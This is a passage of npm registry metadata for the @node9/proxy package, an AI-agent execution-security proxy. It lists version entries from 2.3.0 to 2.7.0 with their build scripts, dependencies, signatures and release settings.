scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.3.0_1787985546078_0.8179306443531984","host":"s3://npm-registry-packages-npm-production"}},"2.3.1":{"name":"@node9/proxy","version":"2.3.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.3.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"0eafae8ed360476bcc3688055ff33130b36bba40","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.3.1.tgz","fileCount":17,"integrity":"sha512-c7jjWoTF/134EppV+bwQGYso+4cfXnOWUZNJbXOSeiPh38qySnDQMXmdHh7Bpc2Hxj0EMxeUoJRfLQhw3mmrqQ==","signatures":[{"sig":"MEYCIQCFqWy6fOo8mnZ94Xi0wogPZCfU7i/Bbm8+fWdVd00QKwIhAPIQf2oJaUcDpVKGEbpVfwMIqfgsIeO44MXXsYsiW06S","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.3.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6967325},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"6a417022912c6b1cea3be5a1006c87c67297eded","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.3.1_1787987932318_0.732211000766827","host":"s3://npm-registry-packages-npm-production"}},"2.4.0":{"name":"@node9/proxy","version":"2.4.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.4.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"69f08b95ff57b984d1959a6f921e3d24ad71b976","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.4.0.tgz","fileCount":17,"integrity":"sha512-99GUoPXPtfss+bSRwF9FcSP8gTgEVOoTKiitiY5XPXQkdvppenXKBNskkw/dHMpQ5l2XG02soo7rBv3T9a8Jhw==","signatures":[{"sig":"MEUCICBoF3LoUtL4jUh44R5vro2qUxb5BIFOBLRMLFQNrrvWAiEA0TTv4ioLXwP5+Vl9aIPAW+24VJXixrEJZjSeVer9VYI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.4.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6968596},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"52cbd2b47287acfadd282a543e3eac6e81156e4b","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.4.0_1788016497693_0.4901717853286618","host":"s3://npm-registry-packages-npm-production"}},"2.5.0":{"name":"@node9/proxy","version":"2.5.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.5.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"5a87d491aa6b143916852a9770d1d68b27734c22","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.5.0.tgz","fileCount":17,"integrity":"sha512-J+hx5EhvmKP2bAzCC1ZwrVYFHVdxI9kHo/Jm1jwobZet5dQdLxYvq0q/r657oTzd7Lx+ZXBNzwnPs9vDaPIWFQ==","signatures":[{"sig":"MEYCIQDm8AjiQ++IPZgYtII0D+4d5gMqyAXP1EFNgWX5ZAegwAIhAODVLNVz7j+Cn3AkoxIOeYT+CyhZWnyU5qVzE6YSXN5a","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.5.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":6976106},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"e1971180e303c778f1113d5277438a1a32037163","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.5.0_1788038505525_0.41940951934674797","host":"s3://npm-registry-packages-npm-production"}},"2.6.1":{"name":"@node9/proxy","version":"2.6.1","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.6.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"51ad2c6a8cb1266d3b0fafa2015fc07632b5766f","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.6.1.tgz","fileCount":17,"integrity":"sha512-ASlXggAgMU3ROYC0S9nQkvbTStYEp/cmcm7UsbXPxQNX78zhpEn/pBNzyyFJOnijcemgxR0xfFRWfBuSTNH9qQ==","signatures":[{"sig":"MEQCIGWzdstMZTmpZ6aRqQk+8Ae4DKcaiCdEju3Z8DWhN5lsAiAZ1N/P1ClLcE8KoQqsH/eFc37wLCgeR7idi267S+Vb2g==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.6.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7045546},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"e8e021692471363c333fe13fdbe615cf28205610","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.6.1_1788124681280_0.05730675968559629","host":"s3://npm-registry-packages-npm-production"}},"2.6.2":{"name":"@node9/proxy","version":"2.6.2","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.6.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"d2242ad910d15eec26addb29177cf44953c47718","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.6.2.tgz","fileCount":17,"integrity":"sha512-ZTfbfNtAY1v7jshaCYe13JwmYmu+rAaI7ZotCD8X4XesIj4viMOaU5zBHYPuLfaYm4NKAyU2+WNSiWeMh4U8fA==","signatures":[{"sig":"MEQCIF+nKAu1tZYOZYIye6CEdcLxFevi27SSgsWsY5g1Cx0HAiBVgRK+nOFFnC5pzM+BFVPa7zV+U+zXbb6QOhtM7kK7Kw==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.6.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7049166},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"a87c81bdcfbe93840c8bf479c84cb668cd82e83a","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","pretest":"npm run build","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","pretest:e2e":"npm run build","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.23.2","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_2.6.2_1788270292640_0.0778552597987463","host":"s3://npm-registry-packages-npm-production"}},"2.7.0":{"name":"@node9/proxy","version":"2.7.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@2.7.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"55ae96d1faba3722b123bea9073fadceab7a65cf","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-2.7.0.tgz","fileCount":17,"integrity":"sha512-h7EOQjfN/beE5d2YNlFKeXRQ7C7Ik5noyQFlyJvIGNmqvIfzGx89KvKqPcAMeKez+TTKUbGRaRTKMTUx3+Uu1A==","signatures":[{"sig":"MEUCIQCESDuF0rS3Kz4LIYKR04wgx/C3gKuT8VyrI7Y5khaMpgIgGLjbiBZw986EOWHKxdsuAs4KH777eLkXSQTPNytRu8w=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@2.7.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":7051648},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"6ee359320d2d412e1b803a02fdcfb82a6c4f7aef","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx 